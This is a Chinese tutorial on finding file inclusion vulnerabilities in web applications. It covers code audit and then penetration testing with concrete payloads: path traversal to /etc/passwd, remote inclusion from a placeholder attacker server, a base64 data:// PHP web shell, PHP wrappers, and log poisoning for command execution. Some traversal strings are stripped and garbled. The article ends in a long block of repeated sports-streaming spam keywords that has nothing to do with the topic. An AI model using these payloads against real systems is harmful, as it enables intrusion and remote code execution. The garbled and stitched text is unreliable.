本文目录导读:

文件包含漏洞(File Inclusion Vulnerability)是一种常见的 Web 安全漏洞,通常分为本地文件包含(LFI)和远程文件包含(RFI),攻击者可以通过操控传递给文件包含函数的参数,读取敏感文件或执行恶意代码。
以下是检测文件包含漏洞的常用方法和步骤,从被动检测(代码审计)到主动检测(渗透测试)都有涉及。
代码审计(白盒检测)
如果你有源代码,这是最直接、最彻底的检测方式。
查找危险函数 搜索代码中所有可能引起文件包含的函数:
- PHP:
include(),include_once(),require(),require_once(),file_get_contents(),fopen(),readfile(),highlight_file()等。 - JSP/Servlet:
RequestDispatcher.include(),response.sendRedirect(),import标签,<%@ include file="..." %>。 - ASP.NET:
Response.WriteFile(),Server.Execute(),Include指令。 - 其他语言:
import,load,include等类似函数。
重点检查参数来源 检查上述函数的参数是否直接或间接来源于用户输入(GET/POST 参数, Cookie, HTTP Header, 上传文件名等)。
// 危险:直接使用用户输入
include($_GET['page']);
// 相对安全:有限制,但可能被绕过
include('includes/' . $_GET['page'] . '.php');
检查路径过滤与限制
- 是否有强制指定的文件扩展名(如
.php)? - 是否有路径限制(如只能访问特定目录)?
- 是否存在目录遍历漏洞()的过滤,以及过滤是否可以被绕过(如使用 , , URL 编码
%2e%2e%2f)? - 是否禁用了
allow_url_include(PHP 中)?如果禁用了,则无法使用 RFI,但 LFI 仍有可能。
渗透测试(黑盒检测)
在没有源代码时,通过向目标应用发送精心构造的请求来探测漏洞。
基础探测
- 识别输入点: 找到可能影响文件的参数,
?page=home?file=readme.txt?template=default?lang=english?include=footer
- 改变参数值: 尝试使用不同的值,观察应用行为是否改变(页面内容、错误信息等)。
测试本地文件包含(LFI)
尝试读取服务器上的敏感文件。
- 基本路径遍历:
?page=../../etc/passwd(Linux)?page=..\..\windows\win.ini(Windows)
- 使用不同编码绕过过滤:
- URL 双重编码:
%252e%252e%252f->%2e%2e%2f-> - Unicode 编码:
..%c0%ae(在某些 IIS 版本中有效) - 16 进制编码:
%2e%2e%2f
- URL 双重编码:
- 使用不同路径分隔符:
, , , , 等。
- 配合空字节截断(仅适用于 PHP 5.3.4 之前版本):
- 如果应用在字符串后加
.php(如include($_GET['page'] . '.php');),可尝试?page=../../etc/passwd%00。
- 如果应用在字符串后加
- 配合长路径截断(Windows):
- 利用 Windows 路径长度限制,如
?page=../../etc/passwd..............。
- 利用 Windows 路径长度限制,如
测试远程文件包含(RFI)
如果应用可能从远程服务器加载文件,可以尝试包含一个自己控制的可访问 URL。
- 基础测试:
?page=http://your-server.com/evil.txt?page=https://your-server.com/evil.txt
- 使用不同协议:
?page=ftp://your-server.com/evil.txt?page=php://input(可以 POST 发送 PHP 代码)?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+(PHP 代码<?php system($_GET['cmd']); ?>的 Base64 编码)
使用 PHP Wrappers(针对 PHP 环境的 LFI 进阶)
即使无法包含远程文件,PHP Wrappers 也能实现代码执行或信息泄露。
php://filter: 读取源代码(Base64 编码后返回)。?page=php://filter/convert.base64-encode/resource=index.php
php://input: 配合allow_url_include=On,通过 POST 发送 PHP 代码执行。data://: 直接写入数据。?page=data://text/plain,<?php%20phpinfo();%20?>
expect://: 如果安装了 expect 扩展,可直接执行命令。?page=expect://id
phar:///zip://: 配合文件上传漏洞,通过包含恶意文件解压后的内容执行代码。
使用日志文件包含(Log Poisoning)
如果无法通过普通文件读取得到 shell,可以尝试污染日志文件,然后包含它。
- 步骤:
- 向服务器发送包含恶意代码的请求(User-Agent 或 Referer 头)。
User-Agent: <?php system($_GET['cmd']); ?> - 找到日志文件路径(如 Apache 的
/var/log/apache2/access.log, Nginx 的/var/log/nginx/access.log)。 - 使用 LFI 包含该日志文件(加上命令参数):
?page=../../var/log/apache2/access.log&cmd=id
- 向服务器发送包含恶意代码的请求(User-Agent 或 Referer 头)。
检测结果判定
- 变化: 成功包含文件后,页面内容会包含该文件的内容(如
/etc/passwd的用户列表)。 - 错误信息泄露: 如果包含失败,页面可能会显示错误信息,
Warning: include(does_not_exist.php): failed to open stream: No such file or directory,这可以帮助确认漏洞存在。 - HTTP 响应状态码: 有时状态码也能提供信息。
- 响应时间: 如果尝试包含远程服务器上的大文件,响应时间可能变长(前提是应用没有超时)。
使用自动化工具
手动检测效率较低,尤其在大型应用中,以下工具可以自动完成检测:
- Burp Suite (Intruder, Scanner): 自定义 Payload 列表,通过 Intruder 模块批量测试,也可以使用主动扫描功能。
- OWASP ZAP: 开源的 Web 应用安全扫描器,支持自动化 LFI/RFI 检测。
- Kali Linux 专用工具:
- fimap: 专门用于 LFI/RFI 的检测与利用工具。
- LFISuite: 功能较全的 LFI 自动化工具。
- Commix: 当 LFI 成功时,它可以自动化利用漏洞执行命令。
- wfuzz / ffuf: 灵活的模糊测试工具,配合字典使用。
使用 Burp Suite 的简单流程:
- 拦截一个包含可疑参数的请求(如
?page=home)。 - 发送到 Intruder,将参数值
home标记为 Payload 位置。 - 加载一个常用 LFI Payload 字典(如
../../etc/passwd,php://filter/,%00等)。 - 启动攻击,根据响应长度、状态码、内容等筛选出异常结果。
总结与注意事项
- 从简单开始: 先测试基本的路径遍历,再尝试编码和 Wrapper。
- 结合环境: 理解目标使用的框架、语言和服务器配置(如
allow_url_include是否开启)。 - 注意日志污染: 日志文件包含是一种非常实用且常见的方法。
- 注意安全: 检测漏洞时,不要在未经授权的情况下进行,始终遵循渗透测试协议,如果成功读取了敏感文件,不要外泄,只需记录漏洞存在即可。
- 考虑误报: 有些响应变化可能是应用正常逻辑(如处理错误信息),建议结合多个 Payload 和上下文进行交叉验证。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播